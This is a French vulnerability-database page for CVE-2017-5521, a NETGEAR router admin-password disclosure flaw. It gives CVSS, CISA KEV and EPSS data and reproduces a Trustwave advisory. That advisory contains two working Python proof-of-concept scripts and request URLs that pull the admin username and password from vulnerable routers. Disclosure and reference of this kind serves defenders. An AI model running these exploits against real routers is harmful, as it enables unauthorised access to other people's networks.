CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions.
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
8.1
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
High
successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
4.3
AV:N/AC:M/Au:N/C:P/I:N/A:N
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : NETGEAR Multiple Devices Exposure of Sensitive Information Vulnerability
Action requise : Apply updates per vendor instructions. If the affected device has since entered end-of-life, it should be disconnected if still in use.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-09-07 22h00 +00:00
Action attendue : 2022-09-28 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
22.83%
–
–
–
–
2021-09-05
–
22.83%
–
–
–
2022-01-09
–
22.83%
–
–
–
2022-02-06
–
–
89.85%
–
–
2023-03-12
–
–
–
97.4%
–
2024-06-02
–
–
–
97.4%
–
2024-06-30
–
–
–
97.31%
–
2024-08-04
–
–
–
97.28%
–
2024-11-10
–
–
–
97.25%
–
2024-12-22
–
–
–
97.22%
–
2025-01-19
–
–
–
97.22%
–
2025-03-18
–
–
–
–
94.19%
2025-03-30
–
–
–
–
94.2%
2025-04-09
–
–
–
–
94.17%
2025-04-09
–
–
–
–
94.17,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2017-01-29 23h00 +00:00 Auteur : Trustwave's SpiderLabs EDB Vérifié : Yes
Trustwave SpiderLabs Security Advisory TWSL2017-003:
Multiple Vulnerabilities in NETGEAR Routers
Published: 01/30/2017
Version: 1.0
Vendor: NETGEAR (http://www.netgear.com/)
Product: Multiple products
Finding 1: Remote and Local Password Disclosure
Credit: Simon Kenin of Trustwave SpiderLabs
CVE: CVE-2017-5521
Version affected:
# AC1450 V1.0.0.34_10.0.16 (Latest)
# AC1450 V1.0.0.22_1.0.10
# AC1450 V1.0.0.14_1.0.6
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 and above not affected)
# D6400 V1.0.0.34_1.3.34
# D6400 V1.0.0.38_1.1.38
# D6400 V1.0.0.22_1.0.22
# DC112A V1.0.0.30_1.0.60 (Latest)
# DGN2200v4 V1.0.0.24_5.0.8 (V1.0.0.66_1.0.66 is latest and is not affected)
# JNDR3000 V1.0.0.18_1.0.16 (Latest)
# R6200 V1.0.1.48_1.0.37 (V1.0.1.52_1.0.41 and above are not affected)
# R6200v2 V1.0.1.20_1.0.18 (V1.0.3.10_10.1.10 is latest and is not affected)
# R6250 V1.0.1.84_1.0.78 (V1.0.4.2_10.1.10 is latest and is not affected)
# R6300 V1.0.2.78_1.0.58 (Latest)
# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)
# R6300v2 V1.0.3.30_10.0.73
# R6700 V1.0.1.14_10.0.29 (Latest beta)
# R6700 V1.0.0.26_10.0.26 (Latest stable)
# R6700 V1.0.0.24_10.0.18
# R6900 V1.0.0.4_1.0.10 (Latest)
# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)
# R8300 V1.0.2.48_1.0.52
# R8500 V1.0.2.30_1.0.43 (V1.0.2.64_1.0.62 and above is patched)
# R8500 V1.0.2.26_1.0.41
# R8500 V1.0.0.56_1.0.28
# R8500 V1.0.0.20_1.0.11
# VEGN2610 V1.0.0.35_1.0.35 (Latest)
# VEGN2610 V1.0.0.29_1.0.29
# VEGN2610 V1.0.0.27_1.0.27
# WNDR3400v2 V1.0.0.16_1.0.34 (V1.0.0.52_1.0.81 is latest and is not affected)
# WNDR3400v3 V1.0.0.22_1.0.29 (V1.0.1.2_1.0.51 is latest and is not affected)
# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)
# WNDR4000 V1.0.2.4_9.1.86 (Latest)
# WNDR4500 V1.0.1.40_1.0.68 (Latest)
# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)
# WNDR4500v2 V1.0.0.42_1.0.25
# WGR614v10 V1.0.2.60_60.0.85NA (Latest)
# WGR614v10 V1.0.2.58_60.0.84NA
# WGR614v10 V1.0.2.54_60.0.82NA
# WN3100RP V1.0.0.14_1.0.19 (Latest)
# WN3100RP V1.0.0.6_1.0.12
# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)
# Lenovo R3220 V1.0.0.13_1.0.13
Product description:
Multiple Netgear Routers
Many Netgear routers are prone to password disclosure via simple crafted
requests to the web management server. The bug is exploitable remotely if the
remote management option is set and can also be exploited given access to the
router over LAN or WLAN.
When trying to access the web panel a user is asked to authenticate, if the
authentication is cancelled and password recovery is not enabled, the user is
redirected to a page which exposes a password recovery token. If a user
supplies the correct token to the page
http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not
enabled), they will receive the admin password for the router.
If password recovery is set the exploit will fail, as it will ask the user for the recovery
questions which were previously set when enabling the feature, this is
persistent, even after disabling the recovery option the exploit will fail,
because the router will ask for the security questions.
This can easily be reproduced using the attached poc, or by sending these two
simple requests via the browser:
1. http://router/.../ will redirect you to http://router/..../unauth.cgi?id=TOKEN to acquire the token
2. http://router/passwordrecovered.cgi?id=TOKEN will give you credentials (some models require you to send a post request instead of get)
## netgore.py
import sys
import requests
def scrape(text, start_trig, end_trig):
if text.find(start_trig) != -1:
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
else:
return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
r = requests.get(url)
except:
url = 'https://' + ip + ':' + port + '/'
r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
print "Attcking: " + model[13:-1]
else:
print "not a netgear router"
sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '\"')
if token == 'i_dont_speak_english':
print "not vulnerable"
sys.exit(0)
print "token found: " + token
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left\">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
username = scrape(username, '>', '\'')
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
password = scrape(password, '>', '\'')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
print "not vulnerable becuse password recovery IS set"
sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print "user: " + username
print "pass: " + password
================================
Just run the PoC against a router to get the credentials if it is vulnerable.
Finding 2: Remote and Local Password Disclosure
Credit: Simon Kenin of Trustwave SpiderLabs
CVE: CVE-2017-5521
Version affected:
# AC1450 V1.0.0.34_10.0.16 (Latest)
# AC1450 V1.0.0.22_1.0.10
# AC1450 V1.0.0.14_1.0.6
# D6300 V1.0.0.96_1.1.96 (Latest)
# D6300B V1.0.0.36_1.0.36
# D6300B V1.0.0.32_1.0.32
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 is latest and is patched)
# D6400 V1.0.0.22_1.0.22
# DC112A V1.0.0.30_1.0.60 (Latest)
# DGN2200v4 V1.0.0.76_1.0.76 (Latest)
# DGN2200v4 V1.0.0.66_1.0.66
# DGN2200Bv4 V1.0.0.68_1.0.68 (Latest)
# JNDR3000 V1.0.0.18_1.0.16 (Latest)
# R6200 V1.0.1.56_1.0.43 (Latest)
# R6200 V1.0.1.52_1.0.41
# R6200 V1.0.1.48_1.0.37
# R6200v2 V1.0.3.10_10.1.10 (Latest)
# R6200v2 V1.0.1.20_1.0.18
# R6250 V1.0.4.6_10.1.12 (Latest beta)
# R6250 V1.0.4.2_10.1.10 (Latest stable)
# R6250 V1.0.1.84_1.0.78
# R6300 V1.0.2.78_1.0.58 (Latest)
# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)
# R6300v2 V1.0.3.6_1.0.63CH (Charter Comm.)
# R6400 V1.0.0.26_1.0.14 (V1.0.1.12_1.0.11 is latest and is patched)
# R6700 V1.0.0.26_10.0.26 (Latest)
# R6700 V1.0.0.24_10.0.18
# R6900 V1.0.0.4_1.0.10 (Latest)
# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)
# R7000 V1.0.4.30_1.1.67
# R7900 V1.0.1.8_10.0.14 (Latest beta)
# R7900 V1.0.1.4_10.0.12 (Latest stable)
# R7900 V1.0.0.10_10.0.7
# R7900 V1.0.0.8_10.0.5
# R7900 V1.0.0.6_10.0.4
# R8000 V1.0.3.26_1.1.18 (Latest beta)
# R8000 V1.0.3.4_1.1.2 (Latest stable)
# R8300 V1.0.2.48_1.0.52
# R8500 V1.0.0.56_1.0.28 (V1.0.2.64_1.0.62 and above is patched)
# R8500 V1.0.2.30_1.0.43
# VEGN2610 V1.0.0.35_1.0.35 (Latest)
# VEGN2610 V1.0.0.27_1.0.27
# VEGN2610-1FXAUS V1.0.0.36_1.0.36 (Latest)
# VEVG2660 V1.0.0.23_1.0.23
# WNDR3400v2 V1.0.0.52_1.0.81 (Latest)
# WNDR3400v3 V1.0.1.4_1.0.52 (Latest)
# WNDR3400v3 V1.0.1.2_1.0.51
# WNDR3400v3 V1.0.0.22_1.0.29
# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)
# WNDR4000 V1.0.2.4_9.1.86 (Latest)
# WNDR4500 V1.0.1.40_1.0.68 (Latest)
# WNDR4500 V1.0.1.6_1.0.24
# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)
# WNDR4500v2 V1.0.0.50_1.0.30
# WNR1000v3 V1.0.2.68_60.0.93NA (Latest)
# WNR1000v3 V1.0.2.62_60.0.87 (Latest)
# WNR3500Lv2 V1.2.0.34_40.0.75 (Latest)
# WNR3500Lv2 V1.2.0.32_40.0.74
# WGR614v10 V1.0.2.60_60.0.85NA (Latest)
# WGR614v10 V1.0.2.58_60.0.84NA
# WGR614v10 V1.0.2.54_60.0.82NA
# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)
# Lenovo R3220 V1.0.0.13_1.0.13
Many Netgear routers are prone to password disclosure via simple crafted
request to the web management server. The bug is exploitable remotely if the
remote management option is set and can also be exploited given access to the
router over LAN or WLAN.
Netgear routers have an option to restore forgotten password via 2 security
questions. If the recovery option is disabled (which is the default), it is
still possible to recover the password by sending a correct token to the
recovery page.
If a user supplies the correct token to the page
http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not
enabled), they will receive the admin password for the router. If password
recovery is set the exploit will fail, as it will ask the user for the recovery
questions which were previously set when enabling the feature, this is
persistent, even after disabling the recovery option, the exploit will fail,
because the router will ask for the security questions.
This mechanism does not work correctly on the very first request to
"passwordrecovered.cgi" and the token is not properly checked, this means that
any TOKEN value will result in disclosure of the password.
The issue occurs after every reboot of the router.
This can easily be reproduced using the attached poc, or by sending a simple
request via the browser:
1. http://router/passwordrecovered.cgi?id=Trustwave_SpiderLabs will give you credentials (some models require you to send a post request instead of get)
## netgore2.py
import sys
import requests
def scrape(text, start_trig, end_trig):
if text.find(start_trig) != -1:
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
else:
return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
r = requests.get(url)
except:
url = 'https://' + ip + ':' + port + '/'
r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
print "Attcking: " + model[13:-1]
else:
print "not a netgear router"
sys.exit(0)
#2nd stage
url = url + 'passwordrecovered.cgi?id=get_rekt'
try:
r = requests.post(url, verify=False)
except:
print "not vulnerable router"
sys.exit(0)
#profit
if r.text.find('left\">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
username = scrape(username, '>', '\'')
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
password = scrape(password, '>', '\'')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
print "not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again"
sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print "user: " + username
print "pass: " + password
================================
Just run the PoC against a router to get the credentials if it is vulnerable.
Remediation Steps:
Please see NETGEAR's KBA for list of firmware patches for various models. As a
workaround, the bug only works when password recovery is NOT set. If you do set
password recovery this is not exploitable.
Revision History:
04/06/2016 - Vulnerability disclosed to vendor
04/19/2016 - Request for update and received confirmation of receipt of the advisories
05/18/2016 - Request for update; no response
07/14/2016 - Request for update
07/15/2016 - Notice of patch for some models and workaround KBA received along with commitment towards 100% coverage
10/17/2016 - Request for update
12/15/2016 - Notice of intent to publish advisories
01/04/2017 - Vendor responds with patch timeline and announcement of participation in Bugcrowd
01/30/2017 - Advisory published
References
1. http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html
2. https://www.exploit-db.com/exploits/32883/
3. http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com
About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs
Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.
Products Mentioned
Configuraton 0
Netgear>>R6200_firmware >> Version 1.0.1.56_1.0.43
